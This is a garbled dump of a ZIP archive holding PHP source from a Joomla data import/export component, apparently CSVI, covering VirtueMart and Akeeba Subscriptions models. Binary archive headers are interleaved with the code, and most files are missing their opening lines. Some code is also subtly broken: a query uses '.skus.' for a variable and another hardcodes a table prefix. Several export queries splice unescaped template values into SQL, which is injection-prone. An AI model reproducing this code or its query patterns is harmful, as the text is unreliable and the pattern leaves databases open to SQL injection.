$db->getQuery(true); $query->select('id AS value, name AS text'); $query->from('#__csvi_replacements'); $db->setQuery($query); $replacements = $db->loadObjectList(); // Add a make choice option $option = new StdClass(); $option->value = ''; $option->text = JText::_('COM_CSVI_NOT_USED'); if (!empty($replacements)) array_unshift($replacements, $option); else $replacements[] = $option; return $replacements; } } ?>PK@y>\{ { ,components/com_csvi/models/templatetypes.phpnuW+AgetDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select('*'); $query->from('#__csvi_template_types'); // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->getEscaped($orderCol.' '.$orderDirn)); return $query; } /** * Load the template types for a given selection * * @copyright * @author RolandD * @todo * @see * @access public * @param $action the import or export option * @param $component the component * @return array of available template types * @since 3.5 */ public function loadTemplateTypes($action, $component) { $db = JFactory::getDbo(); $q = "SELECT t.template_type_name FROM `#__csvi_template_types` AS t WHERE t.template_type = ".$db->Quote($action)." AND t.component = ".$db->Quote($component); $db->setQuery($q); $types = $db->loadResultArray(); // Get translations $trans = array(); foreach ($types as $type) { $trans[$type] = JText::_('COM_CSVI_'.strtoupper($type)); } return $trans; } } ?>PK@y>\J;vv.components/com_csvi/models/fields/csviform.phpnuW+A PK@y>\)+components/com_csvi/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\_  @components/com_csvi/models/fields/csvivirtuemartorderproduct.phpnuW+Ainput; $template = $jinput->get('template', null, null); $db = JFactory::getDbo(); $products = $template->get('orderproduct', 'order', array(), null); $skus = implode(',', $products); if (!empty($skus)) { foreach ($products as $pkey => $product) { $products[$pkey] = $db->Quote($product); } $q = "SELECT DISTINCT product_sku, product_name FROM #__virtuemart_products p, #__virtuemart_order_items o WHERE p.virtuemart_product_id = o.virtuemart_product_id AND p.product_sku IN (".$skus.") ORDER BY product_name;"; $db->setQuery($q); $orderproducts = $db->loadObjectList(); if (empty($orderproducts)) $orderproducts = array(); return array_merge(parent::getOptions(), $orderproducts); } else return parent::getOptions(); } } ?> PK@y>\ 9qq=components/com_csvi/models/fields/csvivirtuemartorderuser.phpnuW+Ainput; $template = $jinput->get('template', null, null); $db = JFactory::getDbo(); $orderuser = $template->get('orderuser', 'order', array(), null); $userids = implode(',', $orderuser); if (!empty($userids)) { $q = "SELECT DISTINCT user_id, IF (LENGTH(TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name))) = 0, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', IF (TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name)) is NULL, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', CONCAT(first_name, ' ', middle_name, ' ', last_name))) AS user_name FROM #__virtuemart_order_userinfos WHERE user_id IN (".$userids.") ORDER BY user_name;"; $db->setQuery($q); $customers = $db->loadObjectList(); if (empty($customers)) $customers = array(); return array_merge(parent::getOptions(), $customers); } else return parent::getOptions(); } } ?> PK@y>\Ƹ@components/com_csvi/models/fields/csviakeebasubsorderpayment.phpnuW+AgetQuery(true); $query->select($db->quoteName('processor', 'value')); $query->select($db->quoteName('processor', 'text')); $query->from($db->quoteName('#__akeebasubs_subscriptions')); $query->group($db->quoteName('processor')); $db->setQuery($query); $methods = $db->loadObjectList(); if (empty($methods)) $methods = array(); return array_merge(parent::getOptions(), $methods); } } ?> PK@y>\%:components/com_csvi/models/fields/csvijoomfishlanguage.phpnuW+AgetQuery(true); $query->select('table_name'); $query->from('information_schema.tables'); $query->where('table_schema = '.$db->Quote($conf->getValue('config.db'))); $query->where('table_name = '.$db->Quote($conf->getValue('config.dbprefix').'languages')); $db->setQuery($query); $total = $db->loadResult(); if (!empty($total)) { $query = $db->getQuery(true); $query->select($db->quoteName('title')." AS ".$db->quoteName('text')); $query->select($db->quoteName('lang_id')." AS ".$db->quoteName('value')); $query->from('#__languages'); $query->order('title'); $db->setQuery($query); return $db->loadObjectList(); } else return array(JText::_('COM_CSVI_NO_LANGUAGES_FOUND')); } } ?> PK@y>\#o,,,components/com_csvi/models/fields/index.htmlnuW+APK@y>\L:3components/com_csvi/models/fields/csvitemplates.phpnuW+AgetQuery(true); $query->select($db->quoteName('id').' AS value ,'.$db->quoteName('name').' AS text'); $query->from($db->quoteName('#__csvi_template_settings')); $query->where($db->quoteName('settings').' LIKE '.$db->quote('%"action":"export"%')); $query->where($db->quoteName('settings').' LIKE '.$db->Quote('%"export_frontend":"1"%')); $query->order($db->quoteName('name')); $db->setQuery($query); $templates = $db->loadObjectList(); return $templates; } } ?> PK@y>\XEEDcomponents/com_csvi/models/fields/csvivirtuemartorderitemproduct.phpnuW+Ainput; $template = $jinput->get('template', null, null); $db = JFactory::getDbo(); $products = $template->get('orderitemproduct', 'orderitem', array(), null); $skus = implode(',', $products); if (!empty($skus)) { foreach ($products as $pkey => $product) { $products[$pkey] = $db->Quote($product); } $q = "SELECT DISTINCT product_sku, product_name FROM #__virtuemart_products p, #__virtuemart_order_items o WHERE p.virtuemart_product_id = o.virtuemart_product_id AND p.product_sku IN (".skus.") ORDER BY product_name;"; $db->setQuery($q); $orderitemproducts = $db->loadObjectList(); if (empty($orderitemproducts)) $orderitemproducts = array(); return array_merge(parent::getOptions(), $orderitemproducts); } else return parent::getOptions(); } } ?> PK@y>\tH__@components/com_csvi/models/fields/csviakeebasubsorderproduct.phpnuW+Ainput; $template = $jinput->get('template', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $orderproduct = $template->get('orderproduct', 'order', array(), 'array'); if (!empty($orderproduct)) { $query->select($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id', 'value')); $query->select($db->quoteName('title', 'text')); $query->from($db->quoteName('#__akeebasubs_subscriptions', 's')); $query->leftJoin($db->quoteName('#__akeebasubs_levels', 'l').' ON '.$db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id').' = '.$db->quoteName('l').'.'.$db->quoteName('akeebasubs_level_id')); $query->where($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id').' IN ('.implode(',', $orderproduct).')'); $query->order($db->quoteName('title')); $query->group($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id')); $db->setQuery($query); $products = $db->loadObjectList(); if (empty($products)) $products = array(); return array_merge(parent::getOptions(), $products); } else return parent::getOptions(); } } ?> PK@y>\ #!!Ecomponents/com_csvi/models/fields/csvivirtuemartproductcategories.phpnuW+Aoptions = array(); if (class_exists('com_virtuemart')) { $conf = JFactory::getConfig(); $lang = strtolower(str_replace('-', '_', $conf->get('language'))); $helper = new Com_VirtueMart(); $this->options = $helper->getCategoryTree($lang); } return $this->options; } } ?> PK@y>\=components/com_csvi/models/fields/csviakeebasubsorderuser.phpnuW+Ainput; $template = $jinput->get('template', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $orderuser = $template->get('orderuser', 'order', array(), 'array'); if (!empty($orderuser)) { $query->select($db->quoteName('user_id', 'value')); $query->select($db->quoteName('name', 'text')); $query->from($db->quoteName('#__akeebasubs_subscriptions', 's')); $query->leftJoin($db->quoteName('#__users', 'u').' ON '.$db->quoteName('s').'.'.$db->quoteName('user_id').' = '.$db->quoteName('u').'.'.$db->quoteName('id')); $query->where($db->quoteName('s').'.'.$db->quoteName('user_id').' IN ('.implode(',', $orderuser).')'); $query->order($db->quoteName('name')); $query->group($db->quoteName('user_id')); $db->setQuery($query); $customers = $db->loadObjectList(); if (empty($customers)) $customers = array(); return array_merge(parent::getOptions(), $customers); } else return parent::getOptions(); } } ?> PK@y>\ _=@components/com_csvi/models/fields/csvivirtuemartmanufacturer.phpnuW+Aget('language'))); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('virtuemart_manufacturer_id').' AS value,'.$db->quoteName('mf_name').' AS text'); $query->from($db->quoteName('#__virtuemart_manufacturers_'.$lang)); $db->setQuery($query); $options = $db->loadObjectList(); return array_merge(parent::getOptions(), $options); } } ?> PK@y>\AMB@components/com_csvi/models/fields/csvivirtuemartorderpayment.phpnuW+Aget('administrator'))); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_paymentmethod_id AS value, payment_name AS text'); $query->from('#__virtuemart_paymentmethods_'.$lang); $db->setQuery($query); $methods = $db->loadObjectList(); if (empty($methods)) $methods = array(); return array_merge(parent::getOptions(), $methods); } } ?> PK@y>\994components/com_csvi/models/fields/csvioperations.phpnuW+Ainput; $jform = $jinput->get('jform', array(), 'array'); $trans = array(); if (!empty($jform) && isset($jform['options'])) { $db = JFactory::getDbo(); $q = "SELECT t.template_type_name FROM `#__csvi_template_types` AS t WHERE t.template_type = ".$db->Quote($jform['options']['action'])." AND t.component = ".$db->Quote($jform['options']['component']); $db->setQuery($q); $types = $db->loadResultArray(); // Get translations foreach ($types as $type) { $trans[$type] = JText::_('COM_CSVI_'.strtoupper($type)); } } else { $trans = parent::getOptions(); } return $trans; } } ?> PK@y>\f"Acomponents/com_csvi/models/com_akeebasubs/export/couponexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'params': $userfields[] = $db->quoteName('#__akeebasubs_coupons').'.'.$db->quoteName($field->field_name); break; case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__akeebasubs_coupons'); $query->leftJoin('#__akeebasubs_users ON #__akeebasubs_users.user_id = #__akeebasubs_coupons.user'); $query->leftJoin('#__users ON #__users.id = #__akeebasubs_coupons.user'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__akeebasubs_coupons.enabled = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby'); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort'); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { while ($record = $csvidb->getRow()) { if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'value': $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'publish_up': case 'publish_down': case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\%#%#Dcomponents/com_csvi/models/com_akeebasubs/export/affiliateexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'user_id': case 'akeebasubs_affiliate_id': $userfields[] = $db->quoteName('#__akeebasubs_affiliates').'.'.$db->quoteName($field->field_name); break; case 'money_owed': case 'money_paid': case 'total_commission': $userfields[] = $db->quoteName('#__akeebasubs_affiliates').'.'.$db->quoteName('akeebasubs_affiliate_id'); break; case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__akeebasubs_affiliates'); $query->leftJoin('#__akeebasubs_affpayments ON #__akeebasubs_affpayments.akeebasubs_affiliate_id = #__akeebasubs_affiliates.akeebasubs_affiliate_id'); $query->leftJoin('#__users ON #__users.id = #__akeebasubs_affiliates.user_id'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__akeebasubs_affiliates.enabled = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ignore some custom fields $ignore = array('money_owed', 'money_paid', 'total_commission'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { while ($record = $csvidb->getRow()) { if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'money_owed': $query1 = $db->getQuery(true); $query1->select('akeebasubs_affiliate_id, SUM(affiliate_comission) AS money_owed'); $query1->from('#__akeebasubs_subscriptions'); $query1->where('state = '.$db->Quote('C')); $query1->where('akeebasubs_affiliate_id = '.$record->akeebasubs_affiliate_id); $query1->group('akeebasubs_affiliate_id'); $query2 = $db->getQuery(true); $query2->select('akeebasubs_affiliate_id, SUM(amount) AS money_paid'); $query2->from('#__akeebasubs_affpayments'); $query2->where('akeebasubs_affiliate_id = '.$record->akeebasubs_affiliate_id); $query2->group('akeebasubs_affiliate_id'); $query = $db->getQuery(true); $query->select('money_owed-money_paid AS balance'); $query->from('#__akeebasubs_affiliates'); $query->leftJoin('('.$query1.') AS o USING ('.$db->quoteName('akeebasubs_affiliate_id').')'); $query->leftJoin('('.$query2.') AS p USING ('.$db->quoteName('akeebasubs_affiliate_id').')'); $query->where('akeebasubs_affiliate_id = '.$record->akeebasubs_affiliate_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'money_paid': $query = $db->getQuery(true); $query->select('SUM(amount) AS money_paid'); $query->from('lwraz_akeebasubs_affpayments'); $query->where('akeebasubs_affiliate_id = '.$record->akeebasubs_affiliate_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'total_commission': $query = $db->getQuery(true); $query->select('SUM(affiliate_comission) AS total_commision'); $query->from('#__akeebasubs_subscriptions'); $query->where('state = '.$db->Quote('C')); $query->where('akeebasubs_affiliate_id = '.$record->akeebasubs_affiliate_id); $query->group('akeebasubs_affiliate_id'); $db->setQuery($query); $fieldvalue = $db->loadResult(); $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'created_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\#o,,;components/com_csvi/models/com_akeebasubs/export/index.htmlnuW+APK@y>\""Gcomponents/com_csvi/models/com_akeebasubs/export/subscriptionexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'notes': case 'params': case 'state': $userfields[] = $db->quoteName('#__akeebasubs_users').'.'.$db->quoteName($field->field_name); break; case 'user_id': $userfields[] = $db->quoteName('#__akeebasubs_subscriptions').'.'.$db->quoteName('user_id'); break; case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__akeebasubs_subscriptions'); $query->leftJoin('#__akeebasubs_users ON #__akeebasubs_users.user_id = #__akeebasubs_subscriptions.user_id'); $query->leftJoin('#__users ON #__users.id = #__akeebasubs_subscriptions.user_id'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__akeebasubs_subscriptions.enabled = '.$publish_state; } // Filter by order number start $ordernostart = $template->get('ordernostart', 'order', array(), 'int'); if ($ordernostart > 0) { $selectors[] = '#__akeebasubs_subscriptions.akeebasubs_subscription_id >= '.$ordernostart; } // Filter by order number end $ordernoend = $template->get('ordernoend', 'order', array(), 'int'); if ($ordernoend > 0) { $selectors[] = '#__akeebasubs_subscriptions.akeebasubs_subscription_id <= '.$ordernoend; } // Filter by list of order numbers $orderlist = $template->get('orderlist', 'order'); if ($orderlist) { $selectors[] = '#__akeebasubs_subscriptions.akeebasubs_subscription_id IN ('.$orderlist.')'; } // Filter by order date start $orderdatestart = $template->get('orderdatestart', 'order', false); if ($orderdatestart) { $orderdate = JFactory::getDate($orderdatestart); $selectors[] = $db->quoteName('#__akeebasubs_subscriptions').'.'.$db->quoteName('created_on').' >= '.$db->Quote($orderdate->toMySQL()); } // Filter by order date end $orderdateend = $template->get('orderdateend', 'order', false); if ($orderdateend) { $orderdate = JFactory::getDate($orderdateend); $selectors[] = $db->quoteName('#__akeebasubs_subscriptions').'.'.$db->quoteName('created_on').' <= '.$db->Quote($orderdate->toMySQL()); } // Filter by order status $orderstatus = $template->get('orderstatus', 'order', false); if ($orderstatus && $orderstatus[0] != '') { $selectors[] = '#__akeebasubs_subscriptions.state IN (\''.implode("','", $orderstatus).'\')'; } // Filter by payment method $orderpayment = $template->get('orderpayment', 'order', false); if ($orderpayment && $orderpayment[0] != '') { $selectors[] = '#__akeebasubs_subscriptions.processor IN (\''.implode("','", $orderpayment).'\')'; } // Filter by order price start $pricestart = $template->get('orderpricestart', 'order', false, 'float'); if ($pricestart) { $selectors[] = '#__akeebasubs_subscriptions.gross_amount >= '.$pricestart; } // Filter by order price end $priceend = $template->get('orderpriceend', 'order', false, 'float'); if ($priceend) { $selectors[] = '#__akeebasubs_subscriptions.gross_amount <= '.$priceend; } // Filter by order user id $orderuser = $template->get('orderuser', 'order', false); if ($orderuser && $orderuser[0] != '') { $selectors[] = '#__akeebasubs_subscriptions.user_id IN (\''.implode("','", $orderuser).'\')'; } // Filter by order product $orderproduct = $template->get('orderproduct', 'order', false); if ($orderproduct && $orderproduct[0] != '') { $selectors[] = '#__akeebasubs_subscriptions.akeebasubs_level_id IN (\''.implode("','", $orderproduct).'\')'; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby'); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort'); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { while ($record = $csvidb->getRow()) { if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'net_amount': case 'tax_amount': case 'gross_amount': case 'prediscount_amount': case 'discount_amount': case 'affiliate_comission': $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'publish_up': case 'publish_down': case 'created_on': case 'first_contact': case 'second_contact': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\):components/com_csvi/models/com_akeebasubs/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,;components/com_csvi/models/com_akeebasubs/import/index.htmlnuW+APK@y>\?_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Load the helper $this->helper = new Com_Akeebasubs(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'enabled': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'subscription_delete': switch ($value) { case 'y': case 'Y': $this->$name = 'Y'; break; default: $this->$name = 'N'; break; } break; case 'net_amount': case 'tax_amount': case 'gross_amount': case 'affiliate_commision': case 'prediscount_amount': case 'discount_amount': $this->$name = $this->cleanPrice($value); break; case 'publish_up': case 'publish_down': $this->$name = $this->convertDate($value); break; case 'state': $this->_subscriptions->state = $value; break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // See if we need to delete a subscription if ($this->subscription_delete == 'Y' && $this->akeebasubs_subscription_id) { $this->_deleteSubscription(); } else { // Check if we have a user ID if (!isset($this->user_id) && isset($this->username)) { $this->user_id = $this->helper->getUser($this->username); } // Check if we have a subscription title if (!isset($this->akeebasubs_level_id) && isset($this->subscription_title)) { $this->akeebasubs_level_id = $this->helper->getSubscription($this->subscription_title); } // Add a creating date if there is no product_id if (empty($this->akeebasubs_subscription_id)) { $this->_subscriptions->created_on = $this->date->toMySQL(); } // Bind the data $this->_subscriptions->bind($this); // Check the data $this->_subscriptions->check(); // Store the data if ($this->_subscriptions->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_SUBSCRIPTION')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_SUBSCRIPTION')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_SUBSCRIPTION_NOT_ADDED', $this->_subscriptions->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_SUBSCRIPTION_QUERY'), true); } // Clean the tables $this->cleanTables(); } /** * Load the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_subscriptions = $this->getTable('subscriptions'); } /** * Cleaning the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_subscriptions->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Delete a subscription * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _deleteSubscription() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); if ($this->_subscriptions->delete($this->akeebasubs_subscription_id)) { $csvilog->AddStats('deleted', JText::sprintf('COM_CSVI_SUBSCRIPTION_DELETED', $this->akeebasubs_subscription_id)); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_SUBSCRIPTION_NOT_DELETED', $this->akeebasubs_subscription_id)); } } ?>PK@y>\qP-44Acomponents/com_csvi/models/com_akeebasubs/import/couponimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->csviuser = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Load the helper $this->helper = new Com_Akeebasubs(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'enabled': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'value': $this->$name = $this->cleanPrice($value); break; case 'publish_up': case 'publish_down': $this->$name = $this->convertDate($value); break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check if we have a user ID if (!isset($this->user) && isset($this->username)) { $this->user = $this->helper->getUser($this->username); } // Check if we have a subscription title if (!isset($this->subscriptions) && isset($this->subscription_title)) { $this->subscriptions = $this->helper->getSubscription($this->subscription_title); } // Set some basic values if (!isset($this->modified_on)) { $this->_coupons->modified_on = $this->date->toMySQL(); $this->_coupons->modified_by = $this->csviuser->id; } // Add a creating date if there is no product_id if (empty($this->akeebasubs_coupon_id)) { $this->_coupons->created_on = $this->date->toMySQL(); $this->_coupons->created_by = $this->csviuser->id; } // Bind the data $this->_coupons->bind($this); // Check the data $this->_coupons->check(); // Store the data if ($this->_coupons->store()) { if ($this->queryResult() == 'UPDATE') 